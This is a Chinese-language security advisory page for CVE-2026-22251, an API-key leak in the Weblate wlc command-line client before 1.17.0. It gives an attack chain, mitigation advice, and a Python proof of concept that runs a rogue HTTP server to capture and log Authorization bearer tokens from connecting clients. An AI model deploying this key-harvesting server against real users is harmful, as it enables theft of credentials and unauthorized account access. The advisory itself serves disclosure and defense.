IPBUF安全漏洞报告
English
CVE-2026-22251 CVSS 5.3 中危

CVE-2026-22251 Weblate wlc命令客户端API密钥泄露漏洞

披露日期: 2026-01-12

漏洞信息

漏洞编号
CVE-2026-22251
漏洞类型
敏感信息泄露
CVSS评分
5.3 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
wlc (Weblate command-line client)

相关标签

信息泄露API密钥泄露配置错误wlcWeblate命令注入CVE-2026-22251

漏洞概述

CVE-2026-22251是Weblate项目wlc命令行客户端中的一个信息泄露漏洞。wlc是一个使用Weblate REST API的命令行客户端,在1.17.0之前的版本中,该工具支持在配置文件设置中提供无作用域(unscoped)的API密钥。这种做法虽然已被官方警告多年,但相关代码从未被移除。攻击者可能利用此漏洞获取用户的API密钥,从而访问用户在Weblate平台上的敏感数据,包括翻译项目、仓库权限等。由于API密钥可能泄露到不同的服务器,攻击者可以在其他环境中使用窃取的密钥进行未授权访问。

技术细节

漏洞根源在于wlc客户端在处理API密钥配置时存在设计缺陷。当用户配置无作用域的API密钥时,该密钥会在与不同Weblate服务器通信时被发送。具体攻击流程如下:1) 攻击者搭建恶意的Weblate服务器实例;2) 诱导用户使用配置了无作用域API密钥的wlc客户端连接该恶意服务器;3) wlc客户端会自动将存储在配置文件中的API密钥发送到恶意服务器;4) 攻击者捕获并记录该API密钥;5) 攻击者使用窃取的密钥访问用户合法的Weblate服务器或其他配置了相同密钥的服务。漏洞影响的是密钥管理机制,而非Weblate核心代码本身。修复方案是在wlc 1.17.0版本中移除了对无作用域API密钥的支持,强制用户使用具有正确作用域限制的API密钥。

攻击链分析

STEP 1
步骤1
攻击者搭建恶意的Weblate服务器或中间人代理,伪装成合法的Weblate实例
STEP 2
步骤2
受害者使用配置了无作用域API密钥的wlc客户端尝试连接攻击者控制的服务器
STEP 3
步骤3
wlc客户端自动将存储在配置文件(~/.config/wlc)中的无作用域API密钥发送到恶意服务器
STEP 4
步骤4
攻击者捕获并记录受害者的API密钥,通常从HTTP请求的Authorization头中提取
STEP 5
步骤5
攻击者使用窃取的API密钥访问受害者在真实Weblate服务器上的账户,执行未授权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-22251 PoC - Simulated API Key Exfiltration # This PoC demonstrates how wlc client may leak unscoped API keys import http.server import socketserver import json import base64 class ExfilHandler(http.server.BaseHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length']) post_data = self.rfile.read(content_length) # Log the exfiltrated data print(f"[+] Received connection from: {self.client_address}") print(f"[+] Headers: {dict(self.headers)}") print(f"[+] Data: {post_data.decode('utf-8', errors='ignore')}") # Extract API key from Authorization header auth_header = self.headers.get('Authorization', '') if auth_header.startswith('Bearer '): api_key = auth_header[7:] print(f"[+] Exfiltrated API Key: {api_key}") with open('stolen_keys.log', 'a') as f: f.write(f"{api_key}\n") self.send_response(401) self.end_headers() self.wfile.write(b'Unauthorized') PORT = 8080 with socketserver.TCPServer(("", PORT), ExfilHandler) as httpd: print(f"[*] Malicious server listening on port {PORT}") print("[*] Waiting for wlc client connections...") httpd.serve_forever() # Attacker workflow: # 1. Set up rogue Weblate server or proxy # 2. Wait for victims with unscoped API keys to connect # 3. Capture the API key from Authorization header # 4. Use stolen key to access victim's legitimate Weblate instance

影响范围

wlc < 1.17.0

防御指南

临时缓解措施
临时缓解措施包括:1) 立即升级wlc到1.17.0版本;2) 如果无法升级,确保不使用无作用域的API密钥,改为使用具有特定作用域限制的密钥;3) 检查配置文件(~/.config/wlc或相关位置)并移除可能泄露的API密钥;4) 在可信的网络环境中使用wlc客户端;5) 监控API密钥的使用记录,发现异常访问立即撤销密钥。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表